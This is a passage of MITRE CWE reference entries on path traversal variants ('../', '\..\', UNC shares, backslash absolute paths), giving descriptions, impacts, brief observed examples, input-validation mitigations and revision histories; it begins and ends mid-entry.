ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.23Relative Path Traversal
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

Technologies

Web Server (Often Prevalent)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Confidentiality
Integrity

Technical Impact: Read Files or Directories; Modify Files or Directories

+ Potential Mitigations

Phase: Implementation

Strategy: Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434.

Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.

Phase: Implementation

Strategy: Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.981SFP Secondary Cluster: Path Traversal
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1404Comprehensive Categorization: File Handling
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVER'/directory/../filename
Software Fault PatternsSFP16Path Traversal
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Potential_Mitigations, Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Applicable_Platforms, Relationships, Taxonomy_Mappings
2008-10-14CWE Content TeamMITRE
updated Description
2009-07-27CWE Content TeamMITRE
updated Potential_Mitigations
2010-06-21CWE Content TeamMITRE
updated Description, Potential_Mitigations
2011-03-29CWE Content TeamMITRE
updated Potential_Mitigations
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms
2020-02-24CWE Content TeamMITRE
updated Potential_Mitigations, Relationships
2020-06-25CWE Content TeamMITRE
updated Potential_Mitigations
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Path Issue - Leading Directory Dot Dot Slash - '/directory/../filename'

CWE-24: Path Traversal: '../filedir'

Weakness ID: 24
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize "../" sequences that can resolve to a location that is outside of that directory.
+ Extended Description

This allows attackers to traverse the file system to access files or directories that are outside of the restricted directory.

The "../" manipulation is the canonical manipulation for operating systems that use "/" as directory separators, such as UNIX- and Linux-based systems. In some cases, it is useful for bypassing protection schemes in environments for which "/" is supported but not the primary separator, such as Windows, which uses "\" but can also accept "/".

+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.23Relative Path Traversal
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Confidentiality
Integrity

Technical Impact: Read Files or Directories; Modify Files or Directories

+ Observed Examples
ReferenceDescription
Chain: a learning management tool debugger uses external input to locate previous session logs (CWE-73) and does not properly validate the given path (CWE-20), allowing for filesystem path traversal using "../" sequences (CWE-24)
+ Potential Mitigations

Phase: Implementation

Strategy: Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434.

Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.

Phase: Implementation

Strategy: Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.981SFP Secondary Cluster: Path Traversal
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1404Comprehensive Categorization: File Handling
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVER'../filedir
Software Fault PatternsSFP16Path Traversal
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Potential_Mitigations, Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2008-10-14CWE Content TeamMITRE
updated Description
2009-07-27CWE Content TeamMITRE
updated Potential_Mitigations
2010-06-21CWE Content TeamMITRE
updated Description, Potential_Mitigations
2011-03-29CWE Content TeamMITRE
updated Potential_Mitigations
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms
2020-02-24CWE Content TeamMITRE
updated Potential_Mitigations, Relationships
2020-06-25CWE Content TeamMITRE
updated Potential_Mitigations
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Relationships, Time_of_Introduction
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
2023-10-26CWE Content TeamMITRE
updated Observed_Examples
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Path Issue - Dot Dot Slash - '../filedir'

CWE-29: Path Traversal: '\..\filename'

Weakness ID: 29
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize '\..\filename' (leading backslash dot dot) sequences that can resolve to a location that is outside of that directory.
+ Extended Description

This allows attackers to traverse the file system to access files or directories that are outside of the restricted directory.

This is similar to CWE-25, except using "\" instead of "/". Sometimes a program checks for "..\" at the beginning of the input, so a "\..\" can bypass that check. It is also useful for bypassing path traversal protection schemes that only assume that the "/" separator is valid.

+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.23Relative Path Traversal
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

Operating Systems

Class: Windows (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Confidentiality
Integrity

Technical Impact: Read Files or Directories; Modify Files or Directories

+ Observed Examples
ReferenceDescription
Protection mechanism checks for "/.." but doesn't account for Windows-specific "\.." allowing read of arbitrary files.
Directory traversal vulnerability in FTP server allows remote authenticated attackers to list arbitrary directories via a "\.." sequence in an LS command.
+ Potential Mitigations

Phase: Implementation

Strategy: Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434.

Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.

Phase: Implementation

Strategy: Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.981SFP Secondary Cluster: Path Traversal
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1404Comprehensive Categorization: File Handling
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVER'\..\filename' ('leading dot dot backslash')
Software Fault PatternsSFP16Path Traversal
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Potential_Mitigations, Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2008-10-14CWE Content TeamMITRE
updated Applicable_Platforms, Description
2008-11-24CWE Content TeamMITRE
updated Observed_Examples
2009-07-27CWE Content TeamMITRE
updated Potential_Mitigations
2010-06-21CWE Content TeamMITRE
updated Description, Potential_Mitigations
2011-03-29CWE Content TeamMITRE
updated Potential_Mitigations
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Observed_Examples, Relationships
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms
2020-02-24CWE Content TeamMITRE
updated Potential_Mitigations, Relationships
2020-06-25CWE Content TeamMITRE
updated Potential_Mitigations
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Path Issue - Leading Dot Dot Backslash - '\..\filename'

CWE-40: Path Traversal: '\\UNC\share\name\' (Windows UNC Share)

Weakness ID: 40
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product accepts input that identifies a Windows UNC share ('\\UNC\share\name') that potentially redirects access to an unintended location or arbitrary file.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.36Absolute Path Traversal
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Confidentiality
Integrity

Technical Impact: Read Files or Directories; Modify Files or Directories

+ Observed Examples
ReferenceDescription
FTP server allows a remote attacker to retrieve privileged web server system information by specifying arbitrary paths in the UNC format (\\computername\sharename).
+ Potential Mitigations

Phase: Implementation

Strategy: Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434.

Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.

Effectiveness: High

Phase: Implementation

Strategy: Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.981SFP Secondary Cluster: Path Traversal
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1404Comprehensive Categorization: File Handling
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVER'\\UNC\share\name\' (Windows UNC share)
Software Fault PatternsSFP16Path Traversal
+ References
[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 11, "Filelike Objects", Page 664. 1st Edition. Addison Wesley. 2006.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Potential_Mitigations, Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2009-07-27CWE Content TeamMITRE
updated Potential_Mitigations
2010-06-21CWE Content TeamMITRE
updated Potential_Mitigations
2011-03-29CWE Content TeamMITRE
updated Potential_Mitigations
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Observed_Examples, References, Relationships
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms
2020-02-24CWE Content TeamMITRE
updated Potential_Mitigations, Relationships
2020-06-25CWE Content TeamMITRE
updated Potential_Mitigations
2021-03-15CWE Content TeamMITRE
updated Potential_Mitigations
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Path Issue - Windows UNC Share - '\\UNC\share\name\'

CWE-38: Path Traversal: '\absolute\pathname\here'

Weakness ID: 38
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product accepts input in the form of a backslash absolute path ('\absolute\pathname\here') without appropriate validation, which can allow an attacker to traverse the file system to unintended locations or access arbitrary files.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.36Absolute Path Traversal
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Confidentiality
Integrity

Technical Impact: Read Files or Directories; Modify Files or Directories

+ Observed Examples
ReferenceDescription
Mail client allows remote attackers to overwrite arbitrary files via an e-mail message containing a uuencoded attachment that specifies the full pathname for the file to be modified.
Remote attackers can read arbitrary files via a full pathname to the target file in config parameter.
Remote attackers can read arbitrary files via an absolute pathname.
+ Potential Mitigations

Phase: Implementation

Strategy: Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434.

Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.

Effectiveness: High

Phase: Implementation

Strategy: Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.743CERT C Secure Coding Standard (2008) Chapter 10 - Input Output (FIO)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.877CERT C++ Secure Coding Section 09 - Input Output (FIO)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.981SFP Secondary Cluster: Path Traversal
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1404Comprehensive Categorization: File Handling
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

